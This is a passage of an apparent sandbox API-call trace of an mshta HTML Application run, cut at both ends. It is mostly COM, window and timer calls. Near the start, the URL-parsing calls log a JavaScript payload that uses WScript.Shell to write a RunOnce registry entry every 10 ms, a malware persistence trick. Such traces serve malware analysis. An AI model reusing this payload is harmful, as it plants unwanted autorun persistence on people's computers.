ppvObject=0x95e8bc*=0x0) returned 0x80004002 [0252.439] IServiceProvider:QueryService (in: This=0x9ebb38, guidService=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95e8bc | out: ppvObject=0x95e8bc*=0x0) returned 0x80004002 [0252.440] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e8c8 | out: ppv=0x95e8c8*=0x7376b5fc) returned 0x0 [0252.440] IClassFactory:CreateInstance (in: This=0x7376b5fc, pUnkOuter=0xa0b1d8, riid=0x7410a57c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xa0b218 | out: ppvObject=0xa0b218*=0x49b60b0) returned 0x0 [0252.440] IUnknown_QueryService (in: punk=0xa0b1d8, guidService=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvOut=0x95e8ec | out: ppvOut=0x95e8ec*=0x498601c) returned 0x0 [0252.440] IUnknown:QueryInterface (in: This=0x9ebb78, riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x95e7b8 | out: ppvObject=0x95e7b8*=0x0) returned 0x80004002 [0252.440] IServiceProvider:QueryService (in: This=0x9ebb38, guidService=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x95e7b8 | out: ppvObject=0x95e7b8*=0x498601c) returned 0x0 [0252.441] IUnknown:QueryInterface (in: This=0x49b60b0, riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xa0b268 | out: ppvObject=0xa0b268*=0x49b60cc) returned 0x0 [0252.441] IUnknown:AddRef (This=0xa0b1d8) returned 0x7 [0252.441] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.441] IUnknown:QueryInterface (in: This=0x49b60cc, riid=0x7410b1ac*(Data1=0x7daf9908, Data2=0x8415, Data3=0x4005, Data4=([0]=0x95, [1]=0xae, [2]=0xbd, [3]=0x27, [4]=0xf6, [5]=0xe3, [6]=0xdc, [7]=0x0)), ppvObject=0x95e9f4 | out: ppvObject=0x95e9f4*=0x0) returned 0x80004002 [0252.441] IUnknown:QueryInterface (in: This=0xa0b1d8, riid=0x7410b1ac*(Data1=0x7daf9908, Data2=0x8415, Data3=0x4005, Data4=([0]=0x95, [1]=0xae, [2]=0xbd, [3]=0x27, [4]=0xf6, [5]=0xe3, [6]=0xdc, [7]=0x0)), ppvObject=0x95e9f4 | out: ppvObject=0x95e9f4*=0x0) returned 0x80004002 [0252.441] IUnknown:QueryInterface (in: This=0x49b60b0, riid=0x7410b1ac*(Data1=0x7daf9908, Data2=0x8415, Data3=0x4005, Data4=([0]=0x95, [1]=0xae, [2]=0xbd, [3]=0x27, [4]=0xf6, [5]=0xe3, [6]=0xdc, [7]=0x0)), ppvObject=0x95e9f4 | out: ppvObject=0x95e9f4*=0x0) returned 0x80004002 [0252.441] IUnknown:AddRef (This=0x49b60cc) returned 0x8 [0252.441] IUnknown:AddRef (This=0xa0b1d8) returned 0x8 [0252.441] IUnknown:AddRef (This=0x49b60b0) returned 0x0 [0252.441] IUnknown:QueryInterface (in: This=0x49b60b0, riid=0x7410b184*(Data1=0xeb5cda44, Data2=0x5086, Data3=0x44fe, Data4=([0]=0xa9, [1]=0xb1, [2]=0xc6, [3]=0x42, [4]=0x13, [5]=0x53, [6]=0xa5, [7]=0x46)), ppvObject=0x95e970 | out: ppvObject=0x95e970*=0x0) returned 0x80004002 [0252.441] IUnknown:QueryInterface (in: This=0x49b60b0, riid=0x7410a5dc*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0x95e994 | out: ppvObject=0x95e994*=0x0) returned 0x80004002 [0252.441] IUnknown:AddRef (This=0xa0b1d8) returned 0xa [0252.441] CoInternetParseUrl (in: pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ParseAction=0x13, dwFlags=0x0, pszResult=0x95c950, cchResult=0x1000, pcchResult=0x95c94c, dwReserved=0x0 | out: pszResult="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pcchResult=0x95c94c) returned 0x0 [0252.442] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95c410 | out: ppv=0x95c410*=0x7376b5fc) returned 0x0 [0252.442] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95c8f4 | out: ppvObject=0x95c8f4*=0x7376b608) returned 0x0 [0252.442] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.442] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ParseAction=19, dwParseFlags=0x0, pwzResult=0x95c950, cchResult=0x1000, pcchResult=0x95c94c, dwReserved=0x0 | out: pwzResult="", pcchResult=0x95c94c*=0x95ca98) returned 0x800c0011 [0252.442] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.442] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x206) returned 0xa09618 [0252.442] IUnknown:Release (This=0x49b60cc) returned 0xa [0252.442] IUnknown:Release (This=0xa0b1d8) returned 0xa [0252.442] IUnknown:Release (This=0x49b60b0) returned 0x1 [0252.442] IUnknown:Release (This=0xa06858) returned 0x2 [0252.442] IUnknown:Release (This=0x9fc938) returned 0x1 [0252.442] IUnknown:Release (This=0x9f1a44) returned 0x8 [0252.442] IUnknown:Release (This=0x9f6a6c) returned 0x19 [0252.443] IUnknown:Release (This=0x9f6a6c) returned 0x18 [0252.443] IUnknown:Release (This=0x9f6a6c) returned 0x17 [0252.443] CoTaskMemFree (pv=0x0) [0252.443] GetCurrentThreadId () returned 0xe38 [0252.443] GetCurrentProcessId () returned 0xd00 [0252.443] IUnknown:Release (This=0x9f6a6c) returned 0x16 [0252.443] IUnknown:Release (This=0x9f1a44) returned 0x7 [0252.443] IUnknown:Release (This=0x9dd878) returned 0x3 [0252.443] IUnknown:Release (This=0x9f6a6c) returned 0x15 [0252.443] IUnknown:Release (This=0x9f6a6c) returned 0x14 [0252.443] IUnknown:Release (This=0x9f6a6c) returned 0x13 [0252.443] IUnknown:Release (This=0x9dd878) returned 0x2 [0252.443] IUnknown:Release (This=0x9f6a6c) returned 0x12 [0252.443] CoTaskMemFree (pv=0xa05818) [0252.443] CoTaskMemFree (pv=0x0) [0252.443] IUnknown:Release (This=0x9f6a6c) returned 0x11 [0252.443] CoTaskMemFree (pv=0xa05608) [0252.444] GetClientRect (in: hWnd=0x80030, lpRect=0x95f64c | out: lpRect=0x95f64c) returned 1 [0252.444] GetClientRect (in: hWnd=0x80030, lpRect=0x496609c | out: lpRect=0x496609c) returned 1 [0252.444] OffsetRect (in: lprc=0x496609c, dx=0, dy=0 | out: lprc=0x496609c) returned 1 [0252.444] OffsetRect (in: lprc=0x49660ac, dx=0, dy=0 | out: lprc=0x49660ac) returned 1 [0252.444] RegisterClassExW (param_1=0x95f318) returned 0xc0f8 [0252.444] CoCreateInstance (in: rclsid=0x728be490*(Data1=0x50d5107a, Data2=0xd278, Data3=0x4871, Data4=([0]=0x89, [1]=0x89, [2]=0xf4, [3]=0xce, [4]=0xaa, [5]=0xf5, [6]=0x9c, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x401, riid=0x728be4a0*(Data1=0x8c0e040, Data2=0x62d1, Data3=0x11d1, Data4=([0]=0x93, [1]=0x26, [2]=0x0, [3]=0x60, [4]=0xb0, [5]=0x67, [6]=0xb8, [7]=0x6e)), ppv=0x7388a1f8 | out: ppv=0x7388a1f8*=0xa05470) returned 0x0 [0252.449] CActiveIMMAppEx_Trident:IActiveIMMApp:FilterClientWindows (This=0xa05470, aaClassList=0x95f3ec*=0xc0f8, uSize=0x1) returned 0x0 [0252.449] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc0f8, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=1064, nHeight=585, hWndParent=0x80030, hMenu=0x0, hInstance=0x726c0000, lpParam=0x4968000) returned 0x60210 [0252.449] GetWindowLongW (hWnd=0x60210, nIndex=-20) returned 0 [0252.449] GetAncestor (hwnd=0x60210, gaFlags=0x2) returned 0x80030 [0252.449] GetWindowLongW (hWnd=0x80030, nIndex=-20) returned 262400 [0252.449] GetWindowLongW (hWnd=0x60210, nIndex=-20) returned 0 [0252.449] GetParent (hWnd=0x60210) returned 0x80030 [0252.449] GetWindowLongW (hWnd=0x80030, nIndex=-20) returned 262400 [0252.449] GetParent (hWnd=0x80030) returned 0x10020a [0252.449] GetWindowLongW (hWnd=0x10020a, nIndex=-20) returned 256 [0252.449] GetParent (hWnd=0x10020a) returned 0x0 [0252.450] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x81, wParam=0x0, lParam=0x95ef78*=76972032, plResult=0x95ed70 | out: plResult=0x95ed70) returned 0x1 [0252.450] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x81, wParam=0x0, lParam=0x95ef78) returned 0x1 [0252.450] GetCurrentThreadId () returned 0xe38 [0252.450] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0252.450] GetCurrentThreadId () returned 0xe38 [0252.450] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0252.450] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x1, wParam=0x0, lParam=0x95ef78*=76972032, plResult=0x95ed70 | out: plResult=0x95ed70) returned 0x1 [0252.450] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x1, wParam=0x0, lParam=0x95ef78) returned 0x0 [0252.450] GetCurrentThreadId () returned 0xe38 [0252.451] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0252.451] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x5, wParam=0x0, lParam=0x2490428, plResult=0x95edbc | out: plResult=0x95edbc) returned 0x1 [0252.451] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x5, wParam=0x0, lParam=0x2490428) returned 0x0 [0252.451] GetCurrentThreadId () returned 0xe38 [0252.451] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0252.451] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x3, wParam=0x0, lParam=0x0, plResult=0x95edbc | out: plResult=0x95edbc) returned 0x1 [0252.451] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0252.451] GetCurrentThreadId () returned 0xe38 [0252.451] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x210, wParam=0x1, lParam=0x60210) returned 0x0 [0252.451] GetWindowRect (in: hWnd=0x60210, lpRect=0x95f1d0 | out: lpRect=0x95f1d0) returned 1 [0252.451] GetParent (hWnd=0x60210) returned 0x80030 [0252.451] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80030, lpPoints=0x95f1d0, cPoints=0x2 | out: lpPoints=0x95f1d0) returned -13893822 [0252.451] GetClassNameW (in: hWnd=0x80030, lpClassName=0x95f1e0, nMaxCount=256 | out: lpClassName="HTML Application Host Window Class") returned 34 [0252.452] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.452] GetCurrentThreadId () returned 0xe38 [0252.452] CActiveIMMAppEx_Trident:IActiveIMMApp:Activate (This=0xa05470, fRestoreLayout=1) returned 0x0 [0252.452] SendMessageW (hWnd=0x60210, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0252.452] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0252.452] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x129, wParam=0x0, lParam=0x0, plResult=0x95f25c | out: plResult=0x95f25c) returned 0x1 [0252.452] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0252.452] GetCurrentThreadId () returned 0xe38 [0252.452] LoadLibraryExW (lpLibFileName="ext-ms-win-ntuser-touch-hittest-l1-1-0.dll", hFile=0x0, dwFlags=0x0) returned 0x74b70000 [0252.452] GetProcAddress (hModule=0x74b70000, lpProcName="RegisterTouchHitTestingWindow") returned 0x74ba3b50 [0252.452] RegisterTouchHitTestingWindow (hwnd=0x60210, value=0x1) returned 1 [0252.452] QISearch (in: that=0x4970480, pqit=0x726fb30c, riid=0x728be43c*(Data1=0xa5200748, Data2=0x18ae, Data3=0x4da5, Data4=([0]=0x93, [1]=0xaf, [2]=0x0, [3]=0x19, [4]=0x47, [5]=0x70, [6]=0x3, [7]=0xa1)), ppv=0x4968e20 | out: that=0x4970480, ppv=0x4968e20*=0x4970480) returned 0x0 [0252.453] IntersectRect (in: lprcDst=0x95f44c, lprcSrc1=0x496609c, lprcSrc2=0x49660ac | out: lprcDst=0x95f44c) returned 1 [0252.453] EqualRect (lprc1=0x95f44c, lprc2=0x496609c) returned 1 [0252.453] InvalidateRect (hWnd=0x60210, lpRect=0x0, bErase=1) returned 1 [0252.453] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x9990) returned 0xa0ed68 [0252.454] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x110) returned 0xa058b8 [0252.454] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xb0) returned 0xa0bb50 [0252.454] GetCurrentProcessId () returned 0xd00 [0252.454] ProcessIdToSessionId (in: dwProcessId=0xd00, pSessionId=0x95f320 | out: pSessionId=0x95f320) returned 1 [0252.454] WTSGetActiveConsoleSessionId () returned 0x1 [0252.454] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x95f340 | out: lpDevMode=0x95f340) returned 1 [0252.454] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.454] GetCurrentThreadId () returned 0xe38 [0252.455] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x90) returned 0xa0bc08 [0252.455] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x34) returned 0xa06818 [0252.455] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x24) returned 0x9f3c30 [0252.455] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x6c) returned 0xa0bca0 [0252.456] QueryPerformanceCounter (in: lpPerformanceCount=0x4968a00 | out: lpPerformanceCount=0x4968a00*=25575847217) returned 1 [0252.456] GetCurrentThreadId () returned 0xe38 [0252.456] GetCurrentThreadId () returned 0xe38 [0252.456] GetCurrentThreadId () returned 0xe38 [0252.456] QueryPerformanceCounter (in: lpPerformanceCount=0x95f3c0 | out: lpPerformanceCount=0x95f3c0*=25575907710) returned 1 [0252.457] QueryPerformanceCounter (in: lpPerformanceCount=0x95f33c | out: lpPerformanceCount=0x95f33c*=25575933768) returned 1 [0252.457] QueryPerformanceCounter (in: lpPerformanceCount=0x95f330 | out: lpPerformanceCount=0x95f330*=25575940149) returned 1 [0252.457] QueryPerformanceCounter (in: lpPerformanceCount=0x95f2d4 | out: lpPerformanceCount=0x95f2d4*=25575946464) returned 1 [0252.457] SetCoalescableTimer (hWnd=0x701f8, nIDEvent=0x2002, uElapse=0x1f4, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2002 [0252.457] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.457] GetCurrentThreadId () returned 0xe38 [0252.457] QueryPerformanceCounter (in: lpPerformanceCount=0x95f2c4 | out: lpPerformanceCount=0x95f2c4*=25575981759) returned 1 [0252.457] QueryPerformanceCounter (in: lpPerformanceCount=0x95f1e4 | out: lpPerformanceCount=0x95f1e4*=25575990960) returned 1 [0252.457] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x374 [0252.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72a18920, lpParameter=0x49a6000, dwCreationFlags=0x0, lpThreadId=0x49a6014 | out: lpThreadId=0x49a6014*=0x8f4) returned 0x1cc [0252.458] SetEvent (hEvent=0x374) returned 1 [0252.458] GetTickCount () returned 0x3e6e6 [0252.458] WTSGetActiveConsoleSessionId () returned 0x1 [0252.458] QueryPerformanceFrequency (in: lpFrequency=0x95f140 | out: lpFrequency=0x95f140*=100000000) returned 1 [0252.458] QueryPerformanceCounter (in: lpPerformanceCount=0x95f138 | out: lpPerformanceCount=0x95f138*=25576071328) returned 1 [0252.458] _vsnwprintf (in: _Buffer=0x95f1c8, _BufferCount=0x4f, _Format="VSyncHelper-%p-%I64x", _ArgList=0x95f154 | out: _Buffer="VSyncHelper-0494A2D0-f3e9949") returned 28 [0252.458] RegisterClassW (lpWndClass=0x95f1a0) returned 0xc178 [0252.458] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc178, lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x494a2d0) returned 0x2021a [0252.459] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 0 [0252.459] NtdllDefWindowProc_W (hWnd=0x2021a, Msg=0x24, wParam=0x0, lParam=0x95ecec) returned 0x0 [0252.459] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 0 [0252.459] NtdllDefWindowProc_W (hWnd=0x2021a, Msg=0x81, wParam=0x0, lParam=0x95ece0) returned 0x1 [0252.459] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 0 [0252.459] NtdllDefWindowProc_W (hWnd=0x2021a, Msg=0x83, wParam=0x0, lParam=0x95eccc) returned 0x0 [0252.460] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 0 [0252.460] NtdllDefWindowProc_W (hWnd=0x2021a, Msg=0x1, wParam=0x0, lParam=0x95ece0) returned 0x0 [0252.461] SetWindowLongW (hWnd=0x2021a, nIndex=-21, dwNewLong=76849872) returned 0 [0252.461] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x378 [0252.462] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x8000004, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28, lpName=0x0) returned 0x37c [0252.462] MapViewOfFile (hFileMappingObject=0x37c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28) returned 0x1310000 [0252.462] GetCurrentProcessId () returned 0xd00 [0252.462] GetCurrentThreadId () returned 0xe38 [0252.462] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x95f0c0, lpTimeIncrement=0x95f0d4, lpTimeAdjustmentDisabled=0x95f0c4 | out: lpTimeAdjustment=0x95f0c0, lpTimeIncrement=0x95f0d4, lpTimeAdjustmentDisabled=0x95f0c4) returned 1 [0252.462] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x380 [0252.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72b09110, lpParameter=0x49661b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0252.463] RegisterPowerSettingNotification (hRecipient=0x2021a, PowerSettingGuid=0x728c21d0, Flags=0x0) returned 0x9f0508 [0252.465] OpenProcess (dwDesiredAccess=0x100040, bInheritHandle=0, dwProcessId=0xd00) returned 0x38c [0252.465] OpenThread (dwDesiredAccess=0x100040, bInheritHandle=0, dwThreadId=0xe38) returned 0x390 [0252.465] GetProcessIdOfThread (Thread=0x390) returned 0xd00 [0252.465] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x95f118 | out: lpdwProcessId=0x95f118) returned 0xe38 [0252.465] GetCurrentProcess () returned 0xffffffff [0252.465] DuplicateHandle (in: hSourceProcessHandle=0x38c, hSourceHandle=0x37c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x95f120, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x95f120*=0x394) returned 1 [0252.465] MapViewOfFile (hFileMappingObject=0x394, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28) returned 0x4ca0000 [0252.465] GetCurrentProcess () returned 0xffffffff [0252.465] DuplicateHandle (in: hSourceProcessHandle=0x38c, hSourceHandle=0x378, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x49748f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x49748f8*=0x398) returned 1 [0252.465] SetEvent (hEvent=0x380) returned 1 [0252.465] CloseHandle (hObject=0x394) returned 1 [0252.465] CloseHandle (hObject=0x38c) returned 1 [0252.465] SetEvent (hEvent=0x378) returned 1 [0252.466] SetWindowPos (hWnd=0x60210, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x5f) returned 1 [0252.466] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0252.466] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x46, wParam=0x0, lParam=0x95f42c*=393744, plResult=0x95f244 | out: plResult=0x95f244) returned 0x1 [0252.466] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x46, wParam=0x0, lParam=0x95f42c) returned 0x0 [0252.466] GetCurrentThreadId () returned 0xe38 [0252.467] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0252.467] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x47, wParam=0x0, lParam=0x95f42c*=393744, plResult=0x95f240 | out: plResult=0x95f240) returned 0x1 [0252.467] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x47, wParam=0x0, lParam=0x95f42c) returned 0x0 [0252.467] GetCurrentThreadId () returned 0xe38 [0252.467] SetTimer (hWnd=0x60210, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0252.468] GetFocus () returned 0x0 [0252.468] EnumChildWindows (hWndParent=0x60210, lpEnumFunc=0x73046620, lParam=0x95f207) returned 0 [0252.468] GetFocus () returned 0x0 [0252.468] SetFocus (hWnd=0x60210) [0252.482] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x46, wParam=0x0, lParam=0x95f3e4) returned 0x0 [0252.482] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x46, wParam=0x0, lParam=0x95f3e4) returned 0x0 [0252.484] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x47, wParam=0x0, lParam=0x95f3e4) returned 0x0 [0252.487] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x47, wParam=0x0, lParam=0x95f3e4) returned 0x0 [0252.487] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x1c, wParam=0x1, lParam=0x15c) returned 0x0 [0252.487] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x1c, wParam=0x1, lParam=0x15c) returned 0x0 [0252.487] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 76849872 [0252.487] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x1c, wParam=0x1, lParam=0x15c) returned 0x0 [0252.488] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0252.569] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0252.569] LoadLibraryExA (lpLibFileName="OLEACC.DLL", hFile=0x0, dwFlags=0x0) returned 0x71fa0000 [0252.613] GetProcAddress (hModule=0x71fa0000, lpProcName="LresultFromObject") returned 0x71faf590 [0252.613] LresultFromObject () returned 0xc182 [0253.177] GetCurrentThreadId () returned 0xe38 [0253.290] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0253.290] GetKeyState (nVirtKey=1) returned 0 [0253.291] GetKeyState (nVirtKey=2) returned 0 [0253.291] GetKeyState (nVirtKey=16) returned 0 [0253.291] GetKeyState (nVirtKey=17) returned 0 [0253.292] GetKeyState (nVirtKey=4) returned 0 [0253.292] GetKeyState (nVirtKey=18) returned 0 [0253.292] GetMessageTime () returned 0 [0253.292] GetMessagePos () returned 0x0 [0253.292] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x95eaec | out: plResult=0x95eaec) returned 0x0 [0253.301] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0253.301] GetKeyState (nVirtKey=1) returned 0 [0253.301] GetKeyState (nVirtKey=2) returned 0 [0253.301] GetKeyState (nVirtKey=16) returned 0 [0253.301] GetKeyState (nVirtKey=17) returned 0 [0253.301] GetKeyState (nVirtKey=4) returned 0 [0253.301] GetKeyState (nVirtKey=18) returned 0 [0253.301] GetMessageTime () returned 0 [0253.301] GetMessagePos () returned 0x0 [0253.301] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x95e30c | out: plResult=0x95e30c) returned 0x0 [0253.301] GetCurrentThreadId () returned 0xe38 [0253.302] GetCurrentThreadId () returned 0xe38 [0253.302] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0253.302] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0xa05470, hWnd=0x60210, phIMC=0x95eefc | out: phIMC=0x95eefc*=0xb0109) returned 0x0 [0253.302] GetCursorPos (in: lpPoint=0x95ec28 | out: lpPoint=0x95ec28*(x=1000, y=495)) returned 1 [0253.302] ScreenToClient (in: hWnd=0x60210, 